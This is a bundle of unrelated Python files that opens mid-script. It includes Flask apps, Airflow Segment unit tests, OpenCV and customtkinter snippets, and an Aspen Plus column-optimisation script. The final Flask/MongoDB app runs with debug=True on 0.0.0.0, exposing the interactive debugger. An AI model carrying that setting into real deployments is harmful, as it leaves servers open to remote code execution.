        print(resources)
        print(new_resources)
        print(money)
        print('Enjoy your Coffee!')
        break


from flask import Flask, render_template, make_response
from router.customerRoute import customer
from router.consumerRoute import consumer

app = Flask(__name__)

app.register_blueprint(customer)
app.register_blueprint(consumer)

@app.route('/')
def homePage():
    return render_template('home.html')

if __name__ == '__main__':
    app.run(debug = True)


from __future__ import annotations

from unittest import mock

import pytest

from airflow.exceptions import AirflowException
from airflow.providers.segment.hooks.segment import SegmentHook
from airflow.providers.segment.operators.segment_track_event import SegmentTrackEventOperator

TEST_CONN_ID = "test_segment"
WRITE_KEY = "foo"

class TestSegmentHook:
    def setup_method(self):

        self.conn = conn = mock.MagicMock()
        conn.write_key = WRITE_KEY
        self.expected_write_key = WRITE_KEY
        self.conn.extra_dejson = {"write_key": self.expected_write_key}

        class UnitTestSegmentHook(SegmentHook):
            def get_conn(self):
                return conn

            def get_connection(self, unused_connection_id):
                return conn

        self.test_hook = UnitTestSegmentHook(segment_conn_id=TEST_CONN_ID)

    def test_get_conn(self):
        expected_connection = self.test_hook.get_conn()
        assert expected_connection == self.conn
        assert expected_connection.write_key is not None
        assert expected_connection.write_key == self.expected_write_key

    def test_on_error(self):
        with pytest.raises(AirflowException):
            self.test_hook.on_error("error", ["items"])

class TestSegmentTrackEventOperator:
    @mock.patch("airflow.providers.segment.operators.segment_track_event.SegmentHook")
    def test_execute(self, mock_hook):
        # Given
        user_id = "user_id"
        event = "event"
        properties = {}

        operator = SegmentTrackEventOperator(
            task_id="segment-track",
            user_id=user_id,
            event=event,
            properties=properties,
        )

        # When
        operator.execute(None)

        # Then
        mock_hook.return_value.track.assert_called_once_with(
            user_id=user_id,
            event=event,
            properties=properties,
        )


import cv2
import numpy as np

img = cv2.imread('base.png', 1)
rate = float(img.shape[0])/float(img.shape[1])
if img.shape[1] != 100 :
	height = int(100*rate)
	img = cv2.resize(img, (100, height), interpolation=cv2.INTER_CUBIC)

def custom_blur_demo(image):
    kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]], np.float32)
    dst = cv2.filter2D(image, -1, kernel=kernel)
    return dst

#img = custom_blur_demo(img)
cv2.imwrite('1.png', img)


import customtkinter as ctk

class Configs(ctk.CTkFrame):
    def __init__(self, master, width=240, height=380, **kwargs):
        super().__init__(master, width=width, height=height, **kwargs)
        self.grid_propagate(False)
        self.grid_columnconfigure(0, weight=1)
        self.grid_rowconfigure(2, weight=1)

        self.configs_label = ctk.CTkLabel(self, text='Configuration:', font=ctk.CTkFont(family="Arial", size=16))
        self.configs_label.grid(columnspan = 2, padx=20, pady=5, column=0, sticky='w')

        self.configs_container = ctk.CTkScrollableFrame(self)
        self.configs_container.grid(row=2, column=0, sticky='nswe')
        self.configs_container.grid_columnconfigure(0, weight=1)

        self.prescript_label = ctk.CTkLabel(self.configs_container, text='Prescript', font=ctk.CTkFont(family="Arial", size=14))
        self.prescript_label.grid(columnspan = 2, padx=24, pady=0, column=0, sticky='w', row=1)

        self.prescript_textbox = ctk.CTkTextbox(self.configs_container, font=ctk.CTkFont(family="Arial", size=14), height=80)
        self.prescript_textbox.grid(columnspan = 2, padx=20, pady=(0,10), column=0, sticky='we', row=2)

        self.postscript_label = ctk.CTkLabel(self.configs_container, text='Postscript', font=ctk.CTkFont(family="Arial", size=14))
        self.postscript_label.grid(columnspan = 2, padx=24, pady=0, column=0, sticky='w', row=3)

        self.postscript_textbox = ctk.CTkTextbox(self.configs_container, font=ctk.CTkFont(family="Arial", size=14), height=80)
        self.postscript_textbox.grid(columnspan = 2, padx=20, pady=(0,10), column=0, sticky='we', row=4)

        self.prompt_label = ctk.CTkLabel(self.configs_container, text='Prompt', font=ctk.CTkFont(family="Arial", size=14))
        self.prompt_label.grid(columnspan = 2, padx=24, pady=0, column=0, sticky='w', row=5)

        self.prompt_textbox = ctk.CTkTextbox(self.configs_container, font=ctk.CTkFont(family="Arial", size=14), height=80)
        self.prompt_textbox.grid(columnspan = 2, padx=20, pady=(0,10), column=0, sticky='we', row=6)

        self.prescript_textbox.bind("<KeyRelease>", self.update_prescript)
        self.postscript_textbox.bind("<KeyRelease>", self.update_postscript)
        self.prompt_textbox.bind("<KeyRelease>", self.update_prompt)

        self.load_prescript()
        self.load_postscript()
        self.load_prompt()

    def update_prescript(self, e):
        content = e.widget.get(1.0, "end-1c").encode('euc-kr')
        with open('prescript.txt', 'wb+') as f:
            f.write(content)

    def update_postscript(self, e):
        content = e.widget.get(1.0, "end-1c").encode('euc-kr')
        with open('postscript.txt', 'wb+') as f:
            f.write(content)

    def update_prompt(self, e):
        content = e.widget.get(1.0, "end-1c").encode('euc-kr')
        with open('prompt.txt', 'wb+') as f:
            f.write(content)

    def load_prescript(self):
        with open('prescript.txt', 'rb+') as f:
            self.prescript_textbox.insert('insert', f.read().decode('euc-kr'))

    def load_postscript(self):
        with open('postscript.txt', 'rb+') as f:
            self.postscript_textbox.insert('insert', f.read().decode('euc-kr'))

    def load_prompt(self):
        with open('prompt.txt', 'rb+') as f:
            self.prompt_textbox.insert('insert', f.read().decode('euc-kr'))


#Case number 2:
from ast import Break
from CodeLibrary import Simulation
import scipy
from scipy import optimize
import time
import matplotlib.pyplot as plt
import numpy

"""Created on the 24.05.2022
@author: Richard ten Hagen
@author contact: Richardxtenxhagen@gmail.com

Case Example Nr 2: This code will make use of the brute force optimization algorithm to find the optimal profit for the given flowsheet by varying the following parameters:
- Stagenumber of Column 1
- Reboiler Duty of Column 1
- Stagenumber of Column 1
- Reboiler Duty of Column 1

For the optimization alorithm to be able to function we will need to rewrite our previous process into a function that is called with the variable values as inputs and which returns the profit for the given case.
This function is called: funcToMin and it will return the negative profit.

It consists of multiple substeps:
1. Unpacking the variables(the scipy library wants it that way)
2. Setting the variables into the flowsheet
3. Running the simulation
4. Retrieving the data needed for cost analysis
5. Cost analysis
6. Saving data into global arrays for later plotting and data analysis

The Stagenumber and Reboiler duties will be varies between given maximum and minimum boundries. Since there is a near infinite number of different combinations of these 4 values, which will each have a different expected profit, it will be necessary to find a mechanism by which we can find the maximum profit with minimal number of computations.
This problem is well known in computer science (they call it "non differentiable root finding") and they have developed different algorithms that can solve this.
In this case we will be using the Brute force method. It functions by taking the minimum and maximum bound of each variable and selecting a given number of values in between (aka Ns = 3) for each variable and then going through the different permutations of these combinations.
It is also possible that the process is repeated multiple times where each finished search reduces the bounds to a smaller section until no further optimization is possible.
This method is usually slow but very reliable in its convergence on the minimum. Unlike most other algorithms it does not make use of stochastic which is a major disadvantage.
"""

#lets first just initalize some stuff

sim = Simulation(AspenFileName= "CaseExample2_2.bkp", WorkingDirectoryPath= r"c:/Users/s2371014/Desktop/AspenPythonInterface" ,VISIBILITY=False)

plottingcounterList = []
BreakEvenYearsForInvestmentList = []
AnnualProfitWithInvestmentCostsList = []
AnnualRevenueList = []
TotalAnnualUtilityCostList = []
vList = []
AnnualInvestmentCostsList = []

#Lets do some optimizing depending on some variables. For this we will need to make a function which will be minimized

def funcToMin(v):
    """ This function changes some Variables in Aspen and returns the number of years until investment is paid off
    """
    funcToMin.plottingcounter +=1
    ProductStreamnameList = ["S3","S4","S5"]
    ColumnNameList = ["B1", "B2"]

    # Lets first unpack the the variable
    Blockname1 = ColumnNameList[0]
    Blockname2 = ColumnNameList[1]
    StagenumberColumn1, ReboilerDuty1, StagenumberColumn2, ReboilerDuty2 = v        #These are the variables which the optimizer is allowed to change
    print("The value of v is ", v)

        #Setting the first columns variabels, these are changed by the optimizer
    sim.BLK_RADFRAC_Set_ReboilerDuty(Blockname1 ,ReboilerDuty1)
    sim.BLK_RADFRAC_Set_NSTAGE(Blockname1 ,StagenumberColumn1)
    sim.BLK_RADFRAC_Set_FeedStage(Blockname1,round(StagenumberColumn1/2,0),"S1")
        #Setting the second column
    sim.BLK_RADFRAC_Set_ReboilerDuty(Blockname2 ,ReboilerDuty2)
    sim.BLK_RADFRAC_Set_NSTAGE(Blockname2 ,StagenumberColumn2)
    sim.BLK_RADFRAC_Set_FeedStage(Blockname2,round(StagenumberColumn2/2,0), "S2")

    # Now we run the simulation
    convergence = sim.Run()
    sim.DialogSuppression(TrueOrFalse= True)
    if convergence == False:
        input("Hey the Convergence failed... why?")

    # Get the outputs and print them:
    ##OutputDictColumn1 = sim.BLK_RADFRAC_GET_OUTPUTS(Blockname1)
    ##OutputDictColumn2 = sim.BLK_RADFRAC_GET_OUTPUTS(Blockname2)
    ##print('\n \n Output of first Column \n \n ')
    ##sim.print_dictionary(OutputDictColumn1)
    ##print('\n \n Output of second Column \n \n ')
    ##sim.print_dictionary(OutputDictColumn2)

    #Get inputs for Cost analysis
    Columnpressure1 = sim.BLK_Get_Pressure(Blockname1)
    n_stages1 =sim.BLK_Get_NStages(Blockname1)
    condenser_duty1 = sim.BLK_RADFRAC_Get_Condenser_HeatingDuty(Blockname1)
    reboiler_temperature1 = sim.BLK_RADFRAC_Get_Reboiler_Temperature(Blockname1)
    reboiler_duty1 = sim.BLK_RADFRAC_Get_Reboiler_HeatDuty(Blockname1)
    tops_temperature1 =sim.BLK_RADFRAC_Get_Condenser_Temperature(Blockname1)
    vapor_flows1 =sim.BLK_Get_Column_Stage_Vapor_Flows(Blockname1)
    stage_mw1 = sim.BLK_Get_Column_Stage_Molar_Weights(Blockname1)
    stage_temp1 = sim.BLK_Get_Column_Stage_Temperatures(Blockname1)

    Columnpressure2 =  sim.BLK_Get_Pressure(Blockname2)
    n_stages2=sim.BLK_Get_NStages(Blockname2)
    condenser_duty2= sim.BLK_RADFRAC_Get_Condenser_HeatingDuty(Blockname2)
    reboiler_temperature2 = sim.BLK_RADFRAC_Get_Reboiler_Temperature(Blockname2)
    reboiler_duty2=sim.BLK_RADFRAC_Get_Reboiler_HeatDuty(Blockname2)
    tops_temperature2= sim.BLK_RADFRAC_Get_Condenser_Temperature(Blockname2)
    vapor_flows2=sim.BLK_Get_Column_Stage_Vapor_Flows(Blockname2)
    stage_mw2=sim.BLK_Get_Column_Stage_Molar_Weights(Blockname2)
    stage_temp2=sim.BLK_Get_Column_Stage_Temperatures(Blockname2)

    # Do the Cost analysis
    InvestcostColumn1 = sim.CAL_InvestmentCost(Columnpressure1, n_stages1, condenser_duty1, reboiler_temperature1, reboiler_duty1, tops_temperature1, vapor_flows1, stage_mw1, stage_temp1)
    InvestcostColumn2 = sim.CAL_InvestmentCost(Columnpressure2, n_stages2, condenser_duty2, reboiler_temperature2, reboiler_duty2, tops_temperature2, vapor_flows2, stage_mw2, stage_temp2)
    TotalInvestmentCost = InvestcostColumn1 + InvestcostColumn2
    print("The investment cost of col 1 is: ", InvestcostColumn1, "  The investment cost of col 2 is: ", InvestcostColumn2)

    AnnualUtilityCostColumn1 = sim.CAL_Annual_OperatingCost(reboiler_duty1, condenser_duty1)
    AnnualUtilityCostColumn2 = sim.CAL_Annual_OperatingCost(reboiler_duty2, condenser_duty2)
    TotalAnnualUtilityCost =  AnnualUtilityCostColumn1 + AnnualUtilityCostColumn2
    print("Total annual cost in col 1 is: ", AnnualUtilityCostColumn1,"  Total annual cost in col 2 is: ", AnnualUtilityCostColumn2)

        #Check all streams to find the value of each stream
    AnnualRevenue = 0
    for ProductStreamname in ProductStreamnameList:
        StreamDictionary = sim.STRM_GET_OUTPUTS(ProductStreamname)
        MoleFlowList = StreamDictionary["MoleFlowList"]
        product_specification = 0.95
        total_stream_value, component_purities = sim.CAL_stream_value( MoleFlowList, product_specification)
        if total_stream_value != 0: print("For ", ProductStreamname, " the total stream value is: ", total_stream_value)
        AnnualRevenue = AnnualRevenue + total_stream_value

    AnnualProfit = AnnualRevenue - TotalAnnualUtilityCost
    if AnnualProfit >0: print("The total Annual Profit is: ", AnnualProfit)
    BreakEvenYearsForInvestment = TotalInvestmentCost/AnnualProfit
    if BreakEvenYearsForInvestment >0: print("The Return on investment is: ", BreakEvenYearsForInvestment)

    AnnualInvestmentCosts = TotalInvestmentCost/20
    AnnualProfitWithInvestmentCosts = AnnualRevenue - TotalAnnualUtilityCost - AnnualInvestmentCosts

#Tests to make sure the units are correct
    if TotalAnnualUtilityCost <0:
        print("Hold on Utility costs are negative... that should not be the case... lets punish with 30")
        return 30
    if AnnualRevenue <0:
        print("Hold on AnnualRevenue is negative... that should not be the case")
        return 30

    #Saving the internal function Data into the Global list variables
    BreakEvenYearsForInvestmentList.append(BreakEvenYearsForInvestment)
    AnnualRevenueList.append(AnnualRevenue)
    TotalAnnualUtilityCostList.append(TotalAnnualUtilityCost)
    AnnualInvestmentCostsList.append(AnnualInvestmentCosts)
    vList.append(v)

    AnnualProfitWithInvestmentCostsList.append(-AnnualProfitWithInvestmentCosts)
    plottingcounterList.append(funcToMin.plottingcounter)

    #plt.figure(1)
    #plt.clf()
    #plt.plot(plottingcounterList, AnnualProfitWithInvestmentCostsList,"*")
    #plt.title("Negative Profit(including investment costs)")
    #plt.draw()
    #plt.pause(0.001)

    return -AnnualProfitWithInvestmentCosts

funcToMin.plottingcounter = 0       #Instanciate the function attribute such that it zero the first time it is called.

"""

    plt.figure(2)
    plt.clf()
    RunningMean = sim.running_mean(BreakEvenYearsForInvestmentList,20)
    plt.plot(plottingcounterList, RunningMean,"*")
    plt.title("Running mean of ROI")
    plt.draw()
    plt.pause(0.1)
"""

## THIS FUNCTION DOES OPTIMIZATIONS.....

# define the bounds on the search of #StagenumberColumn1, ReboilerDuty1, StagenumberColumn2, ReboilerDuty2
bounds = [[2, 20], [100, 100000],[2,20],[100,100000]]

#If you want to use brute force
results = optimize.brute(funcToMin,bounds,Ns=3)
#If you want evolutionary strategy
#results = optimize.differential_evolution(funcToMin, bounds, args=(), strategy='best1bin', maxiter=10, popsize=10, tol=0.01, mutation=(0.5, 1), recombination=0.7, seed=None, callback=None, disp=False, polish=True, init='latinhypercube', atol=0, updating='immediate', workers=1, constraints=(), x0=None)
        #Maximum number of function calls is: (maxiter + 1) * popsize * len(x)

#print the results and values:
print("\n\n\n\n\nThe plottingcounterList is : ",plottingcounterList,"\n\n\n\n")
print("\n\n\n\n\nThe AnnualProfitWithInvestmentCostsList is : ",AnnualProfitWithInvestmentCostsList,"\n\n\n\n")
print("\n\n\n\n\nThe AnnualRevenueList is : ",AnnualRevenueList,"\n\n\n\n")
print("\n\n\n\n\nThe AnnualInvestmentCostsList is : ",AnnualInvestmentCostsList,"\n\n\n\n")
print("\n\n\n\n\nThe BreakEvenYearsForInvestmentList is : ",BreakEvenYearsForInvestmentList,"\n\n\n\n")
print("\n\n\n\n\nThe TotalAnnualUtilityCostList is : ",TotalAnnualUtilityCostList,"\n\n\n\n")
print("\n\n\n\n\nThe vList is : ",vList,"\n\n\n\n")

plt.figure(1)

plt.plot(plottingcounterList, AnnualProfitWithInvestmentCostsList,"*")
plt.title("Negative Profit(including investment costs)")
plt.show()
plt.savefig("NegativeProfitBrute")
plt.clf()
plt.plot(plottingcounterList, AnnualRevenueList,"*")
plt.title("Annual Revenue")
plt.show()
plt.savefig("AnnualRevenueBrute")
plt.clf()
plt.plot(plottingcounterList, AnnualInvestmentCostsList,"*")
plt.title("Annual Revenue")
plt.show()
plt.savefig("AnnualInvestmentCostsBrute")
plt.clf()
plt.plot(plottingcounterList, BreakEvenYearsForInvestmentList,"*")
plt.title("Return on Investment years")
plt.show()
plt.savefig("ROIyearsBrute")
plt.clf()
plt.plot(plottingcounterList, TotalAnnualUtilityCostList,"*")
plt.title("Annual utility costs")
plt.show()
plt.savefig("AnnualUtilityCostsBrute")
plt.clf()

print("Hey the results are:")
print(results)
input("Hey are you happy with life?")

#print("\n\n\nThe total runtime was: ", runtimetotal)

#print("Number of Stages in Column 1")
#print(results["StagenumberColumn1"])
#print("Number of Stages in Column 2")
#print(results["StagenumberColumn2"])
#print("ReboilerDuty1")
#print(results["ReboilerDuty1"])
#print("ReboilerDuty2")
#print(results["ReboilerDuty1"])

"""
# objective function
def objective(v):
	x, y = v
	return -20.0 * exp(-0.2 * sqrt(0.5 * (x**2 + y**2))) - exp(0.5 * (cos(2 * pi * x) + cos(2 * pi * y))) + e + 20

# define range for input
r_min, r_max = -5.0, 5.0
# define the bounds on the search
bounds = [[r_min, r_max], [r_min, r_max]]
# perform the differential evolution search
result = differential_evolution(objective, bounds)
# summarize the result
print('Status : %s' % result['message'])
print('Total Evaluations: %d' % result['nfev'])
# evaluate solution
solution = result['x']
evaluation = objective(solution)
print('Solution: f(%s) = %.5f' % (solution, evaluation))

plt.ion()
for i in range(100):
    x = range(i)
    y = range(i)
    # plt.gca().cla() # optionally clear axes

plt.show(block=True)

"""

def print_dictionary(dct):
    """ Takes Dictionary input with two items inside and prints them"""
    print("Items held:")
    for item, amount in dct.items():  # dct.iteritems() in Python 2
        print("{} ({})".format(item, amount))

sim.CloseAspen()


# 구현 : 주문(name, address, size 서버가 저장)_post, 주문목록보여주기_get(로딩완료되자마자요청)
from flask import Flask, render_template, request, jsonify
from pymongo import MongoClient
client = MongoClient('클러스터 URL')
db = client.team

app = Flask(__name__)

@app.route('/')
def home():
    return render_template('index.html')

@app.route("/hello", methods=["POST"])
def web_post():
    name_receive = request.form['name_give']
    hi_receive = request.form['hi_give']

    doc = {
        'name': name_receive,
        'hi': hi_receive,
    }
    db.introduce.insert_one(doc)  # 하나추가요
    return jsonify({'msg': '작성완료!'})

@app.route("/hello", methods=["GET"])
def web_get():
    intro_list = list(db.introduce.find({}, {'_id': False})
                      )  # db.mars라는 곳에서 찾기(모든 내역, id제외)
    return jsonify({'intro': intro_list})  # orders라는 키로 order_list 찾은거 내려줌

if __name__ == '__main__':
    app.run('0.0.0.0', port=5000, debug=True)